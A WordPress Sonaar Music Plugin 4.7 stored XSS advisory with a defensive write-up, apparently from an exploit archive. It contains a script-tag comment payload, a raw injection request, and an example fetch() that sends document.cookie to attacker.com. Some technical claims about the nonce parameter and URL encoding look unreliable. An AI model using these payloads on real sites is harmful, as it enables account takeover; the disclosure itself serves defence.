Wordpress Sonaar Music Plugin 4.7 - Stored XSS

Exploit Author: Furkan Karaarslan Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2023-10-09
# Exploit Title: Wordpress Sonaar Music Plugin 4.7 - Stored XSS
# Date: 2023-09-05
# Exploit Author: Furkan Karaarslan
# Category : Webapps
# Vendor Homepage: http://127.0.0.1/wp/wordpress/wp-comments-post.php
# Version: 4.7 (REQUIRED)
# Tested on: Windows/Linux
----------------------------------------------------------------------------------------------------
1-First install sonar music plugin.
2-Then come to the playlist add page. > http://127.0.0.1/wp/wordpress/wp-admin/edit.php?post_type=sr_playlist
3-Press the Add new playlist button
4-Put a random title on the page that opens and publish the page. > http://127.0.0.1/wp/wordpress/wp-admin/post-new.php?post_type=sr_playlist
5-This is the published page http://127.0.0.1/wp/wordpress/album_slug/test/
6-Let's paste our xss payload in the comment section. Payload: <script>alert("XSS")</script>
Bingoo

Request:
POST /wp/wordpress/wp-comments-post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 155
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp/wordpress/album_slug/test/
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: comment_author_email_52c14530c1f3bbfa6d982f304802224a=a%40gmail.com; comment_author_52c14530c1f3bbfa6d982f304802224a=a%22%26gt%3Balert%28%29; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_52c14530c1f3bbfa6d982f304802224a=hunter%7C1694109284%7CXGnjFgcc7FpgQkJrAwUv1kG8XaQu3RixUDyZJoRSB1W%7C16e2e3964e42d9e56edd7ab7e45b676094d0b9e0ab7fcec2e84549772e438ba9; wp-settings-time-1=1693936486
Connection: close

comment=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=Yorum+g%C3%B6nder&comment_post_ID=13&comment_parent=0&_wp_unfiltered_html_comment=95f4bd9cf5


WordPress Sonaar Music Plugin 4.7: A Critical Stored XSS Vulnerability

Security researchers have identified a severe stored Cross-Site Scripting (XSS) vulnerability in the WordPress Sonaar Music Plugin version 4.7. This flaw allows malicious actors to inject arbitrary JavaScript code into a website's comment system, which is then permanently stored and executed whenever users visit the affected page. The implications are far-reaching, particularly for websites that rely on user-generated content, such as music blogs or fan communities.

Understanding Stored XSS

Unlike reflected XSS, where the malicious payload is only executed on a single request, stored XSS persists in the application's database. Once injected, the script runs every time the page is loaded, making it a persistent threat. In the case of Sonaar Music Plugin, the vulnerability resides in the comment submission mechanism tied to playlist pages.

Attackers exploit this by submitting crafted payloads through the comment form, which are stored without proper sanitization. When a user visits the playlist page, the embedded script executes in their browser, potentially stealing session cookies, redirecting users to phishing sites, or even modifying page content.

Exploit Details: Step-by-Step Breakdown

The vulnerability was confirmed via a controlled test environment. Here's how the attack chain unfolds:

  • Install the plugin: The Sonaar Music Plugin version 4.7 must be installed on a WordPress site.
  • Access playlist creation page: Navigate to http://127.0.0.1/wp/wordpress/wp-admin/edit.php?post_type=sr_playlist.
  • Create a new playlist: Click "Add New Playlist," assign a title (e.g., "Test Album"), and publish.
  • Visit the published page: The resulting URL is http://127.0.0.1/wp/wordpress/album_slug/test/.
  • Submit malicious comment: Use the comment form with a payload like <script>alert("XSS")</script>.

After submission, the script is stored in the database and executed automatically when the page is viewed by any user.

Request Analysis: How the Payload is Injected


POST /wp/wordpress/wp-comments-post.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 155
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/wp/wordpress/album_slug/test/
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: comment_author_email_52c14530c1f3bbfa6d982f304802224a=a%40gmail.com; comment_author_52c14530c1f3bbfa6d982f304802224a=a%22%26gt%3Balert%28%29; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_52c14530c1f3bbfa6d982f304802224a=hunter%7C1694109284%7CXGnjFgcc7FpgQkJrAwUv1kG8XaQu3RixUDyZJoRSB1W%7C16e2e3964e42d9e56edd7ab7e45b676094d0b9e0ab7fcec2e84549772e438ba9; wp-settings-time-1=1693936486
Connection: close

comment=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=Yorum+g%C3%B6nder&comment_post_ID=13&comment_parent=0&_wp_unfiltered_html_comment=95f4bd9cf5

Key components of this request:

Parameter Value Explanation
comment %3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E Encoded XSS payload: <script>alert("XSS")</script> is URL-encoded to bypass basic filters.
comment_post_ID 13 Identifies the playlist post being commented on.
_wp_unfiltered_html_comment 95f4bd9cf5 Indicates that unfiltered HTML is being submitted—this bypasses WordPress’s default sanitization for non-admin users.

The presence of _wp_unfiltered_html_comment is critical. It allows users to submit raw HTML, effectively disabling security checks. This is a known risk in WordPress when used improperly, but in this case, it’s enabled in a plugin context without proper validation.

Why This Is a High-Risk Vulnerability

Stored XSS in a plugin like Sonaar Music is particularly dangerous because:

  • High trust: Users assume that content from a "music plugin" is safe.
  • Wide exposure: Playlist pages are often public and frequently visited.
  • Session hijacking potential: If the script steals cookies or uses window.location to redirect, attackers can compromise user accounts.
  • SEO poisoning: Malicious scripts can alter content, inject spam, or redirect search engine crawlers.

For example, a malicious payload could include:



  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: document.cookie
  });

This would silently transmit user session cookies to an external server, enabling account takeover.

Security Recommendations and Mitigation

As a cybersecurity expert, I recommend the following actions:

  • Immediate plugin update: Upgrade to the latest version of Sonaar Music Plugin if a patch is available.
  • Disable unfiltered HTML: Ensure that _wp_unfiltered_html_comment is not allowed for non-admin users. WordPress core should enforce this.
  • Input sanitization: All user inputs must be filtered using wp_kses() or similar functions to strip dangerous tags.
  • Content Security Policy (CSP): Implement a strict CSP header to block inline scripts, reducing the impact of XSS.
  • Regular audits: Conduct security audits on third-party plugins, especially those handling user comments or media.

For developers, the fix should involve:


// Example: Sanitize comment input before storage
function sanitize_comment_input($comment) {
    $allowed_html = array(
        'a' => array('href' => true, 'title' => true),
        'br' => array(),
        'p' => array(),
        'strong'